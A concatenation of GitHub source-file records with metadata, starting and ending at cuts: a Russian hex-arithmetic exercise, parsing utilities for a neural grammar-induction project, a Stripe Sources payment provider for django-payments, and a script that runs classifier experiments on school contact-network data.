hex_num[second_num[i]] + transfer\n res.appendleft(hex_num_res[el_sum_10 % 16])\n\n # Учёт переноса с предыдущего разряда\n if el_sum_10 > 15:\n transfer = el_sum_10 // 16\n else:\n transfer = 0\n\n # Добавление переноса с предыдущего разряда при условии, что цифры закончились в обоих числах\n if transfer > 0:\n res.appendleft(hex_num_res[transfer])\n return res\n\n\ndef hex_mul(first_num, second_num):\n hex_num = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,\n 'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15}\n hex_num_res = {0: '0', 1: '1', 2: '2', 3: '3', 4: '4', 5: '5', 6: '6', 7: '7', 8: '8', 9: '9',\n 10: 'A', 11: 'B', 12: 'C', 13: 'D', 14: 'E', 15: 'F'}\n\n first_num = [char for char in first_num]\n second_num = [char for char in second_num]\n\n if len(first_num) > len(second_num):\n pass\n else:\n first_num, second_num = second_num, first_num\n\n first_num.reverse()\n second_num.reverse()\n intermediate_res = deque()\n sum_list = [deque() for _ in second_num]\n transfer = 0\n\n for i_second_num, el_second_num in enumerate(second_num):\n for i_first_num, el_first_num in enumerate(first_num):\n el_mul_10 = hex_num[el_second_num] * hex_num[el_first_num] + transfer\n intermediate_res.appendleft(hex_num_res[el_mul_10 % 16])\n\n if el_mul_10 > 15:\n transfer = el_mul_10 // 16\n else:\n transfer = 0\n if transfer > 0:\n intermediate_res.appendleft(hex_num_res[transfer])\n transfer = 0\n\n sum_list[i_second_num] = intermediate_res.copy()\n intermediate_res.clear()\n\n # Добавляем нули в полученные числа подлежащие суммированию для учёта разрядности\n for _ in range(i_second_num):\n sum_list[i_second_num].append('0')\n\n # Последовательно суммируем полученные числа с помощью функции hex_add\n while len(sum_list) > 2:\n intermediate_sum = hex_add(''.join(sum_list.pop(0)), ''.join(sum_list.pop(1)))\n sum_list.append(intermediate_sum)\n\n # Возвращаем оставшихся двух чисел полученных в результате преддущего суммирования\n return hex_add(''.join(sum_list[0]), ''.join(sum_list[1]))\n\n\nfirst_user_num = input('Введите первое шестнадцатеричное число (0-F): ').upper()\nsecond_user_num = input('Введите второе шестнадцатеричное число (0-F): ').upper()\n\nwhile True:\n operand = int(input(\"Введите '1' для сложения чисел либо '2' для умножения: \"))\n if operand == 1:\n print(hex_add(first_user_num, second_user_num))\n break\n elif operand == 2:\n print(hex_mul(first_user_num, second_user_num))\n break\n else:\n print(\"Введите '1' или '2'!\")\n", "repo_name": "AlexKovyazin/python_algorithms_and_data_structures", "sub_path": "lesson_5/task_2.py", "file_name": "task_2.py", "file_ext": "py", "file_size_in_byte": 5176, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 29, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 68, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 69, "usage_type": "call"}]} {"seq_id": "40093434944", "text": "#Norm!/usr/bin/env python3\nimport numpy as np\nimport itertools\nimport random\nimport torch\nimport nltk\nimport pickle\n\nimport pdb\n\ndef all_binary_trees(n):\n #get all binary trees of length n\n def is_tree(tree, n):\n # shift = 0, reduce = 1\n if sum(tree) != n-1:\n return False\n stack = 0 \n for a in tree:\n if a == 0:\n stack += 1\n else:\n if stack < 2:\n return False\n stack -= 1\n if stack < 0:\n return False\n return True\n valid_tree = []\n num_shift = 0\n num_reduce = 0\n num_actions = 2*n - 1\n trees = map(list, itertools.product([0,1], repeat = num_actions-3))\n start = [0, 0] #first two actions are always shift\n end = [1] # last action is always reduce\n for tree in trees: \n tree = start + tree + end\n if is_tree(tree, n):\n valid_tree.append(tree[::])\n return valid_tree\n\ndef get_actions(tree, SHIFT = 0, REDUCE = 1, OPEN='(', CLOSE=')'):\n #input tree in bracket form: ((A B) (C D))\n #output action sequence: S S R S S R R\n actions = []\n tree = tree.strip()\n i = 0\n num_shift = 0\n num_reduce = 0\n left = 0\n right = 0\n while i < len(tree):\n if tree[i] != ' ' and tree[i] != OPEN and tree[i] != CLOSE: #terminal \n if tree[i-1] == OPEN or tree[i-1] == ' ':\n actions.append(SHIFT)\n num_shift += 1\n elif tree[i] == CLOSE:\n actions.append(REDUCE)\n num_reduce += 1\n right += 1\n elif tree[i] == OPEN:\n left += 1\n i += 1\n assert(num_shift == num_reduce + 1)\n return actions\n\ndef get_tree(actions, sent = None, SHIFT = 0, REDUCE = 1):\n #input action and sent (lists), e.g. S S R S S R R, A B C D\n #output tree ((A B) (C D))\n stack = []\n pointer = 0\n if sent is None:\n sent = list(map(str, range((len(actions)+1) // 2)))\n# assert(len(actions) == 2*len(sent) - 1)\n for action in actions:\n if action == SHIFT:\n word = sent[pointer]\n stack.append(word)\n pointer += 1\n elif action == REDUCE:\n right = stack.pop()\n left = stack.pop()\n stack.append('(' + left + ' ' + right + ')')\n assert(len(stack) == 1)\n return stack[-1]\n \ndef get_depth(tree, SHIFT = 0, REDUCE = 1):\n stack = []\n depth = 0\n max = 0\n curr_max = 0\n for c in tree:\n if c == '(':\n curr_max += 1\n if curr_max > max:\n max = curr_max\n elif c == ')':\n curr_max -= 1\n assert(curr_max == 0)\n return max\n\ndef get_spans(actions, SHIFT = 0, REDUCE = 1):\n sent = list(range((len(actions)+1) // 2))\n spans = []\n pointer = 0\n stack = []\n for action in actions:\n if action == SHIFT:\n word = sent[pointer]\n stack.append(word)\n pointer += 1\n elif action == REDUCE:\n right = stack.pop()\n left = stack.pop()\n if isinstance(left, int):\n left = (left, None)\n if isinstance(right, int):\n right = (None, right)\n new_span = (left[0], right[1])\n spans.append(new_span)\n stack.append(new_span)\n return spans\n\ndef get_stats(span1, span2):\n tp = 0\n fp = 0\n fn = 0\n for span in span1:\n if span in span2:\n tp += 1\n else:\n fp += 1\n for span in span2:\n if span not in span1:\n fn += 1\n return tp, fp, fn\n\nfrom collections import defaultdict\n\ndef get_stats_by_cat(span1, span2, gold_tree):\n tp = defaultdict(int)\n all_ = defaultdict(int)\n for span in span1:\n if span in span2:\n tp[gold_tree[span][1]] += 1\n all_[gold_tree[span][1]] += 1\n return tp, all_\n\ndef update_stats(pred_span, gold_spans, stats):\n for gold_span, stat in zip(gold_spans, stats):\n tp, fp, fn = get_stats(pred_span, gold_span)\n stat[0] += tp\n stat[1] += fp\n stat[2] += fn\n\ndef get_f1(stats):\n f1s = []\n for stat in stats:\n prec = stat[0] / (stat[0] + stat[1]) if stat[0] + stat[1] > 0 else 0.\n recall = stat[0] / (stat[0] + stat[2]) if stat[0] + stat[2] > 0 else 0.\n f1 = 2*prec*recall / (prec + recall)*100 if prec+recall > 0 else 0.\n f1s.append(f1)\n return f1s\n\ndef get_random_tree(length, SHIFT = 0, REDUCE = 1):\n tree = [SHIFT, SHIFT]\n stack = ['', '']\n num_shift = 2\n while len(tree) < 2*length - 1:\n if len(stack) < 2:\n tree.append(SHIFT)\n stack.append('')\n num_shift += 1\n elif num_shift >= length:\n tree.append(REDUCE)\n stack.pop()\n else:\n if random.random() < 0.5:\n tree.append(SHIFT)\n stack.append('')\n num_shift += 1\n else:\n tree.append(REDUCE)\n stack.pop()\n return tree\n\ndef span_str(start = None, end = None):\n assert(start is not None or end is not None)\n if start is None:\n return ' ' + str(end) + ')'\n elif end is None:\n return '(' + str(start) + ' '\n else:\n return ' (' + str(start) + ' ' + str(end) + ') ' \n\ndef get_tree_from_binary_matrix(matrix, length): \n sent = list(map(str, range(length)))\n n = len(sent)\n tree = {}\n for i in range(n):\n tree[i] = sent[i]\n for k in np.arange(1, n):\n for s in np.arange(n):\n t = s + k\n if t > n-1:\n break\n if matrix[s][t].item() == 1:\n span = '(' + tree[s] + ' ' + tree[t] + ')'\n tree[s] = span\n tree[t] = span\n return tree[0]\n \n\ndef get_nonbinary_spans(actions, SHIFT = 0, REDUCE = 1):\n spans = []\n stack = []\n pointer = 0\n binary_actions = []\n nonbinary_actions = []\n num_shift = 0\n num_reduce = 0\n for action in actions:\n # print(action, stack)\n if action == \"SHIFT\":\n nonbinary_actions.append(SHIFT)\n stack.append((pointer, pointer))\n pointer += 1\n binary_actions.append(SHIFT)\n num_shift += 1\n elif action[:3] == 'NT(':\n stack.append('(') \n elif action == \"REDUCE\":\n nonbinary_actions.append(REDUCE)\n right = stack.pop()\n left = right\n n = 1\n while stack[-1] is not '(':\n left = stack.pop()\n n += 1\n span = (left[0], right[1])\n if left[0] != right[1]:\n spans.append(span)\n stack.pop()\n stack.append(span)\n while n > 1:\n n -= 1\n binary_actions.append(REDUCE) \n num_reduce += 1\n else:\n assert False \n assert(len(stack) == 1)\n assert(num_shift == num_reduce + 1)\n return spans, binary_actions, nonbinary_actions\n\ndef get_nonbinary_tree(sent, tags, actions):\n pointer = 0\n tree = []\n for action in actions:\n if action[:2] == \"NT\":\n node_label = action[:-1].split(\"NT\")[1]\n node_label = node_label.split(\"-\")[0]\n tree.append(node_label)\n elif action == \"REDUCE\":\n tree.append(\")\")\n elif action == \"SHIFT\":\n leaf = \"(\" + tags[pointer] + \" \" + sent[pointer] + \")\"\n pointer += 1\n tree.append(leaf)\n else:\n assert(False)\n assert(pointer == len(sent))\n return \" \".join(tree).replace(\" )\", \")\")\n\ndef build_tree(depth, sen):\n assert len(depth) == len(sen)\n\n if len(depth) == 1:\n parse_tree = sen[0]\n else:\n idx_max = np.argmax(depth)\n parse_tree = []\n if len(sen[:idx_max]) > 0:\n tree0 = build_tree(depth[:idx_max], sen[:idx_max])\n parse_tree.append(tree0)\n tree1 = sen[idx_max]\n if len(sen[idx_max + 1:]) > 0:\n tree2 = build_tree(depth[idx_max + 1:], sen[idx_max + 1:])\n tree1 = [tree1, tree2]\n if parse_tree == []:\n parse_tree = tree1\n else:\n parse_tree.append(tree1)\n return parse_tree\n\ndef get_brackets(tree, idx=0):\n brackets = set()\n if isinstance(tree, list) or isinstance(tree, nltk.Tree):\n for node in tree:\n node_brac, next_idx = get_brackets(node, idx)\n if next_idx - idx > 1:\n brackets.add((idx, next_idx))\n brackets.update(node_brac)\n idx = next_idx\n return brackets, idx\n else:\n return brackets, idx + 1\n\ndef get_nonbinary_spans_label(actions, SHIFT = 0, REDUCE = 1):\n spans = []\n stack = []\n pointer = 0\n binary_actions = []\n num_shift = 0\n num_reduce = 0\n for action in actions:\n # print(action, stack)\n if action == \"SHIFT\":\n stack.append((pointer, pointer))\n pointer += 1\n binary_actions.append(SHIFT)\n num_shift += 1\n elif action[:3] == 'NT(':\n label = \"(\" + action.split(\"(\")[1][:-1]\n stack.append(label)\n elif action == \"REDUCE\":\n right = stack.pop()\n left = right\n n = 1\n while stack[-1][0] is not '(':\n left = stack.pop()\n n += 1\n span = (left[0], right[1], stack[-1][1:])\n if left[0] != right[1]:\n spans.append(span)\n stack.pop()\n stack.append(span)\n while n > 1:\n n -= 1\n binary_actions.append(REDUCE) \n num_reduce += 1\n else:\n assert False \n assert(len(stack) == 1)\n assert(num_shift == num_reduce + 1)\n return spans, binary_actions\n\ndef get_tagged_parse(parse, spans):\n spans = sorted(spans, key=lambda x:(x[0], -x[1]))\n i = 0\n ret = ''\n for segment in parse.split():\n word_start = 0\n word_end = len(segment)\n while(word_start < len(segment) and segment[word_start] == '('):\n word_start += 1\n while(word_end > 0 and segment[word_end-1] == ')'):\n word_end -= 1\n for _ in range(0, word_start):\n ret += '('+'{}-{} '.format(spans[i][2], spans[i][3])\n i += 1\n ret += '{}-{} {} '.format(spans[i][2], spans[i][3], segment[word_start:word_end])\n i += 1\n for _ in range(word_end, len(segment)):\n ret += ')'\n ret += ' '\n return ret\n\ndef conll_sentences(file, indices):\n sentence = []\n for line in file:\n if(line != \"\\n\"):\n sentence.append(line.strip().split('\\t'))\n else:\n ret = []\n for line in sentence:\n ret.append([line[i] for i in indices])\n yield ret\n sentence = []\n if(len(sentence)):\n ret = []\n for line in sentence:\n ret.append([line[i] for i in indices])\n yield ret\n\ndef read_conll(file, max_len=None):\n for line in conll_sentences(file, [1, 6]):\n if(max_len is None or len(line) <= max_len):\n words = [i[0] for i in line]\n heads = [int(i[1]) for i in line]\n yield(words, heads)\n\ndef measures(gold_s, parse_s):\n # Helper for eval().\n (d, u) = (0, 0)\n for (a, b) in gold_s:\n (a, b) = (a-1, b-1)\n b1 = (a, b) in parse_s\n b2 = (b, a) in parse_s\n if b1:\n d += 1.0\n u += 1.0\n if b2:\n u += 1.0\n\n return (d, u)\n\ndef get_head(spans, predict_head, running_head=-1):\n this_span = spans[-1]\n spans = spans[:-1]\n if(this_span[3] != running_head):\n predict_head[this_span[3]] = running_head\n if(this_span[0] != this_span[1]):\n spans = get_head(spans, predict_head, this_span[3])\n spans = get_head(spans, predict_head, this_span[3])\n return spans\n\ndef update_dep_stats(spans, heads, dep_stats):\n predict_head = [-1 for _ in heads]\n get_head(spans, predict_head)\n dir_cnt, undir_cnt = measures([(i+1, j) for i, j in enumerate(heads)], list(enumerate(predict_head)))\n dep_stats.append([len(heads), dir_cnt, undir_cnt])\n\ndef get_dep_acc(dep_stats):\n cnt = dir_cnt = undir_cnt = 0.\n for i, j, k in dep_stats:\n cnt += i\n dir_cnt += j\n undir_cnt += k\n return dir_cnt / cnt * 100, undir_cnt / cnt * 100\n\ndef get_word_emb_matrix(wv_file, idx2word):\n wv = pickle.load(open(wv_file, \"rb\"))\n dim = wv['a'].size\n ret = []\n found_cnt, unfound_cnt = 0, 0\n for i in range(len(idx2word)):\n word = idx2word[i]\n try:\n word_vec = wv[word]\n found_cnt += 1\n except KeyError:\n word_vec = np.random.randn(dim)\n word_vec /= np.linalg.norm(word_vec, 2)\n unfound_cnt += 1\n \n ret.append(word_vec)\n \n print(\"WARNING: {} words found, and {} word not found\".format(found_cnt, unfound_cnt))\n \n return np.stack(ret)\n\ndef get_span2head(spans, heads, gold_actions=None, gold_tags=None):\n from cfg2dep import parse_line\n def dfs(spans, heads, nts, tags):\n if(len(spans) == 0):\n return -1, {}\n l, r = spans[-1]\n label = nts.pop()\n spans.pop()\n\n root_list = []\n ret_dict = {}\n\n i = l\n while(i <= r):\n if(len(spans) == 0 or spans[-1][0] != i):\n # single word span\n root_list.append(i)\n ret_dict[(i, i)] = (i, tags.pop())\n i += 1\n else:\n i = spans[-1][1] + 1\n root, sub_dict = dfs(spans, heads, nts, tags)\n ret_dict.update(sub_dict)\n root_list.append(root)\n \n for i in root_list:\n if(heads[i] < l or heads[i] > r):\n ret_dict[(l, r)] = (i, label)\n return i, ret_dict\n\n def get_nts(gold_actions):\n return [i[3:-1] for i in gold_actions if i[0] == \"N\"]\n\n heads_set = [i-1 for i in heads]\n sorted_spans = sorted(spans, key=lambda x: (-x[0], x[1]))\n nts = list(reversed(get_nts(gold_actions))) if gold_actions else None\n tags = list(reversed(gold_tags)) if gold_tags else None\n _, span2head = dfs(sorted_spans, heads_set, nts, tags)\n return span2head\n\nNT_list = ['NP', 'VP', 'S', 'ADVP', 'PP', 'ADJP', 'SBAR', 'WHADVP', 'WHNP', 'PRN', 'SINV', 'QP', 'PRT', 'NAC', 'NX', 'UCP', 'FRAG', 'INTJ', 'X', 'RRC', 'SQ', 'CONJP', 'WHPP', 'WHADJP', 'SBARQ', 'LST', 'PRT|ADVP']\nPT_list = ['DT', 'JJ', 'NNS', 'VBD', 'NN', 'CC', 'RB', 'IN', 'JJS', 'NNP', 'CD', 'TO', 'JJR', 'VBG', 'POS', 'VBP', 'VBN', 'RBR', 'WRB', 'PRP', 'PRP$', 'WDT', 'EX', 'MD', 'VB', 'VBZ', 'NNPS', 'WP', 'RP', 'PDT', 'WP$', 'RBS', 'FW', 'UH', 'SYM', 'LS']\nNT2ID = {j:i for i, j in enumerate(NT_list)}\nPT2ID = {j:i for i, j in enumerate(PT_list)}", "repo_name": "neulab/neural-lpcfg", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 13274, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.product", "line_number": 32, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 140, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 141, "usage_type": "call"}, {"api_name": "random.random", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 279, "usage_type": "call"}, {"api_name": "nltk.Tree", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 431, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 441, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 441, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 442, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 442, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 449, "usage_type": "call"}]} {"seq_id": "24268122249", "text": "from __future__ import unicode_literals\nfrom decimal import Decimal\n\nimport stripe\n\nfrom .forms import PaymentForm\nfrom payments import RedirectNeeded, PaymentError, PaymentStatus\nfrom payments.core import BasicProvider\n\n\nclass StripeSourcesProvider(BasicProvider):\n\n form_class = PaymentForm\n\n def __init__(self, public_key, secret_key, image='', name='', **kwargs):\n stripe.api_key = secret_key\n self.secret_key = secret_key\n self.public_key = public_key\n self.image = image\n self.name = name\n print('init')\n super(StripeSourcesProvider, self).__init__(**kwargs)\n\n def get_form(self, payment, data=None):\n if payment.status == PaymentStatus.WAITING:\n payment.change_status(PaymentStatus.INPUT)\n # data is overridden, because it causes the is_valid method to fail otherwise\n form = self.form_class(\n data={}, payment=payment, provider=self)\n if not form.errors:\n form.save()\n if form.source.flow == 'redirect':\n raise RedirectNeeded(form.source.redirect.url)\n else:\n raise RedirectNeeded(payment.get_success_url())\n return form\n\n def charge(self, payment, amount=None):\n\n source = stripe.Source.retrieve(payment.transaction_id)\n if source.status == 'consumed':\n new_status = PaymentStatus.CONFIRMED\n elif source.status in ['canceled', 'failed']:\n new_status = PaymentStatus.REJECTED\n elif source.status == 'chargeable':\n amount = int((amount or payment.total) * 100)\n try:\n charge = stripe.Charge.create(\n amount=amount,\n currency=payment.currency,\n source=payment.transaction_id,\n )\n payment.attrs.charge = stripe.util.json.dumps(charge)\n if charge.status == 'succeeded':\n new_status = PaymentStatus.CONFIRMED\n else:\n new_status = PaymentStatus.REJECTED\n except stripe.error.InvalidRequestError:\n new_status = PaymentStatus.REJECTED\n else:\n # unknown type of status\n return\n\n payment.change_status(new_status)\n # some hard coding to prevent cross-imports\n if new_status == PaymentStatus.CONFIRMED:\n new_order_status = 'fully-paid'\n else:\n new_order_status = 'cancelled'\n payment.order.change_status(new_order_status)\n\n def capture(self, payment, amount=None):\n amount = int((amount or payment.total) * 100)\n charge = stripe.Charge.retrieve(payment.attrs.charge['id'])\n try:\n charge.capture(amount=amount)\n except stripe.InvalidRequestError as e:\n payment.change_status(PaymentStatus.REFUNDED)\n raise PaymentError('Payment already refunded')\n payment.attrs.capture = stripe.util.json.dumps(charge)\n return Decimal(amount) / 100\n\n def release(self, payment):\n charge = stripe.Charge.retrieve(payment.transaction_id)\n charge.refund()\n payment.attrs.release = stripe.util.json.dumps(charge)\n\n def refund(self, payment, amount=None):\n amount = int((amount or payment.total) * 100)\n charge = stripe.Charge.retrieve(payment.transaction_id)\n charge.refund(amount=amount)\n payment.attrs.refund = stripe.util.json.dumps(charge)\n return Decimal(amount) / 100\n\n", "repo_name": "CarstVaartjes/django-payments-stripe-sources", "sub_path": "payments_stripe_sources/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 3526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "payments.core.BasicProvider", "line_number": 11, "usage_type": "name"}, {"api_name": "forms.PaymentForm", "line_number": 13, "usage_type": "name"}, {"api_name": "stripe.api_key", "line_number": 16, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus.WAITING", "line_number": 25, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 25, "usage_type": "name"}, {"api_name": "payments.PaymentStatus.INPUT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 26, "usage_type": "name"}, {"api_name": "payments.RedirectNeeded", "line_number": 33, "usage_type": "call"}, {"api_name": "payments.RedirectNeeded", "line_number": 35, "usage_type": "call"}, {"api_name": "stripe.Source.retrieve", "line_number": 40, "usage_type": "call"}, {"api_name": "stripe.Source", "line_number": 40, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus.CONFIRMED", "line_number": 42, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 42, "usage_type": "name"}, {"api_name": "payments.PaymentStatus.REJECTED", "line_number": 44, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 44, "usage_type": "name"}, {"api_name": "stripe.Charge.create", "line_number": 48, "usage_type": "call"}, {"api_name": "stripe.Charge", "line_number": 48, "usage_type": "attribute"}, {"api_name": "stripe.util.json.dumps", "line_number": 53, "usage_type": "call"}, {"api_name": "stripe.util", "line_number": 53, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus.CONFIRMED", "line_number": 55, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 55, "usage_type": "name"}, {"api_name": "payments.PaymentStatus.REJECTED", "line_number": 57, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 57, "usage_type": "name"}, {"api_name": "stripe.error", "line_number": 58, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus.REJECTED", "line_number": 59, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 59, "usage_type": "name"}, {"api_name": "payments.PaymentStatus.CONFIRMED", "line_number": 66, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 66, "usage_type": "name"}, {"api_name": "stripe.Charge.retrieve", "line_number": 74, "usage_type": "call"}, {"api_name": "stripe.Charge", "line_number": 74, "usage_type": "attribute"}, {"api_name": "stripe.InvalidRequestError", "line_number": 77, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus.REFUNDED", "line_number": 78, "usage_type": "attribute"}, {"api_name": "payments.PaymentStatus", "line_number": 78, "usage_type": "name"}, {"api_name": "payments.PaymentError", "line_number": 79, "usage_type": "call"}, {"api_name": "stripe.util.json.dumps", "line_number": 80, "usage_type": "call"}, {"api_name": "stripe.util", "line_number": 80, "usage_type": "attribute"}, {"api_name": "decimal.Decimal", "line_number": 81, "usage_type": "call"}, {"api_name": "stripe.Charge.retrieve", "line_number": 84, "usage_type": "call"}, {"api_name": "stripe.Charge", "line_number": 84, "usage_type": "attribute"}, {"api_name": "stripe.util.json.dumps", "line_number": 86, "usage_type": "call"}, {"api_name": "stripe.util", "line_number": 86, "usage_type": "attribute"}, {"api_name": "stripe.Charge.retrieve", "line_number": 90, "usage_type": "call"}, {"api_name": "stripe.Charge", "line_number": 90, "usage_type": "attribute"}, {"api_name": "stripe.util.json.dumps", "line_number": 92, "usage_type": "call"}, {"api_name": "stripe.util", "line_number": 92, "usage_type": "attribute"}, {"api_name": "decimal.Decimal", "line_number": 93, "usage_type": "call"}]} {"seq_id": "27772091907", "text": "import numpy as np\nimport random as random\nfrom segment import Temporal_vectors\nimport os \nimport pickle \nfrom tqdm import tqdm \nimport argparse\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import svm\nfrom sklearn.metrics import recall_score, precision_score, f1_score\nfrom sklearn.model_selection import train_test_split\nfrom utils import load_pickles, res_to_str\n\n\n\ndef init_classifiers():\n clf1 = RandomForestClassifier(max_depth=30,n_estimators = 100, random_state=random.randint(0,10000))\n clf2 = svm.SVC(random_state = random.randint(0,10000))\n clf3 = LogisticRegression(random_state = random.randint(0,10000), max_iter = 10000)\n clf_names = [\"Random forest\",\" Support vector\",\" Logistic Regression\"]\n\n return [clf1,clf2,clf3],clf_names\n\n\ndef classifier_test(clf,X_train,Y_train,X_test,Y_test):\n clf.fit(X_train, Y_train)\n Y_res = clf.predict(X_test)\n f1 = np.round(f1_score(Y_test, Y_res, average = \"macro\",zero_division=0),2)\n recall = np.round(recall_score(Y_test, Y_res, average = \"macro\",zero_division=0),2)\n precision = np.round(precision_score(Y_test, Y_res, average = \"macro\",zero_division=0),2)\n return (f1, recall, precision)\n \ndef compute_clf_sats(clf,nclassifier,X,Y,test_size):\n f1_score_l, recall_l, precision_l = [],[],[]\n for i in range(nclassifier):\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=test_size, random_state=random.randint(0,10000))\n f1, recall, precision = classifier_test(clf,X_train,y_train,X_test,y_test)\n f1_score_l.append(f1)\n recall_l.append(recall)\n precision_l.append(precision)\n res = {\"F1-Score\": {\"Mean\":np.round(np.mean(f1_score_l),2),\"Std\":np.round(np.std(f1_score_l),2)},\n \"Recall\": {\"Mean\":np.round(np.mean(recall_l),2),\"Std\":np.round(np.std(recall_l),2)},\n \"Precision\": {\"Mean\":np.round(np.mean(precision_l),2),\"Std\":np.round(np.std(precision_l),2)}}\n return res\n\n\ndef main(): \n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-t\",\n \"--type\",\n default=\"high\",\n choices = [\"high\",\"prim\"],\n type=str,\n )\n\n parser.add_argument(\n \"-l\",\n \"--largeur\",\n default=300,\n type=int,\n )\n\n parser.add_argument(\n \"-d\",\n \"--day\",\n default=1,\n type=int,\n ) \n parser.add_argument(\n \"-n\",\n \"--nrep\",\n default=5,\n type=int,\n ) \n\n parser.add_argument(\n \"-nc\",\n \"--nclassifier\",\n default=25,\n type=int,\n ) \n\n parser.add_argument(\n \"-th\",\n \"--threshold\",\n default=0.,\n type=float,\n ) \n\n parser.add_argument(\n \"-w\",\n \"--width\",\n default=1,\n type=int,\n ) \n\n parser.add_argument(\n \"-ts\",\n \"--test\",\n default=.2,\n type=float,\n ) \n\n args = parser.parse_args()\n largeur = args.largeur\n if args.type == \"high\":\n data_dir='./data/highschool_data'\n elif args.type == \"prim\":\n data_dir='./data/primary_school_data'\n else : \n raise Exception(\"Not a valid type\")\n file_names = ['classe','t0','day_0','T_d','G_t_d','T_uv_d','E_t_d','snap_to_window_d']\n classe, t0, day_0, T_d, G_t_d, T_uv_d, E_t_d, snap_to_window_d = load_pickles(data_dir,file_names)\n d1 = args.day\n d2 = args.day+1\n Nrep = args.nrep\n thresh = args.threshold\n wid = args.width\n test_size = args.test\n nclassifier = args.nclassifier\n\n if args.type == \"high\" and args.day not in range(1,6):\n raise Exception(\"Not a valid day for highschool data set\")\n elif args.type == \"prim\" and args.day not in range(1,3):\n raise Exception(\"Not a valid day for primary school data set\")\n else : \n for d in range(d1,d2):\n ####################################################################\n print(\" \")\n print(\"Processing \"+args.type+\" school data for day \"+str(d))\n print(\" \")\n G_t = G_t_d[d]\n T_uv = T_uv_d[d]\n Temps = sorted(list(T_d[d]))\n E_t= E_t_d[d]\n snap_to_window = snap_to_window_d[d]\n ####################################################################\n Vects = Temporal_vectors(T_d[d],day_0[d],largeur)\n Deg_vects = Vects.get_degree_vecs(classe)\n Core_classe_vects = Vects.get_core_class_vecs(classe,2)\n Core_num_vects = Vects.get_core_number_vecs(classe)\n Itrich_classe_vects = Vects.get_Itrich_class_vecs(T_uv,classe,thresh,wid,Nrep)\n ####################################################################\n Itrich_node_record_temp = Itrich_classe_vects\n I=len(classe)\n J=len(Temps)\n ItRich_mat=np.zeros((I,J))\n degree_mat=np.zeros((I,J))\n core_mat=np.zeros((I,J))\n core_num_mat=np.zeros((I,J))\n ordred_classes=list(set(classe.values()))\n rank=dict()\n for i in range(len(classe)):\n rank[sorted(list(classe.keys()))[i]]=i\n grouped_by_rank=dict()\n for c in ordred_classes:\n grouped_by_rank[c]=[rank[node] for node in classe if classe[node]==c]\n grouped_by_rank\n good_rank=[]\n for c in grouped_by_rank:\n good_rank.extend(grouped_by_rank[c])\n ranked_nodes=[]\n for r in good_rank:\n for node in classe:\n if rank[node]==r:\n ranked_nodes.append(node)\n\n for i in range(len(classe)):\n node=ranked_nodes[i]\n ItRich_mat[i]+=np.array([Itrich_node_record_temp[node][snap_to_window[t]]\n if node in list(set([item for v in E_t[t] for item in v])) else -1 for t in Temps])\n\n degree_mat[i]+=np.array([Deg_vects[node][snap_to_window[t]]\n if node in list(set([item for v in E_t[t] for item in v])) else -1 for t in Temps])\n\n core_mat[i]+=np.array([Core_classe_vects[node][snap_to_window[t]]\n if node in list(set([item for v in E_t[t] for item in v])) else -1 for t in Temps])\n\n core_num_mat[i]+=np.array([Core_num_vects[node][snap_to_window[t]]\n if node in list(set([item for v in E_t[t] for item in v])) else -1 for t in Temps])\n ####################################################################\n\n y = np.array([ordred_classes.index(classe[node]) for node in ranked_nodes])\n classifiers,clf_names = init_classifiers()\n print(\"------------------------------------------------------\")\n for i, clf in enumerate(classifiers):\n itrich_res = compute_clf_sats(clf,nclassifier,ItRich_mat,y,test_size)\n degree_res = compute_clf_sats(clf,nclassifier,degree_mat,y,test_size)\n core_class_res = compute_clf_sats(clf,nclassifier,core_mat,y,test_size)\n core_num_res = compute_clf_sats(clf,nclassifier,core_num_mat,y,test_size)\n print(\"Classifier :\"+clf_names[i]) \n print(\"------------------------------------------------------\")\n print(12*\" \"+\"F1-Score\"+4*\" \"+\"Recall\"+10*\" \"+\"Precision\")\n print(\"ItRich cls \",res_to_str(itrich_res))\n print(\"Degree num \",res_to_str(degree_res) )\n print(\"K-core num \",res_to_str(core_num_res) )\n print(\"K-core cls \",res_to_str(core_class_res) )\n 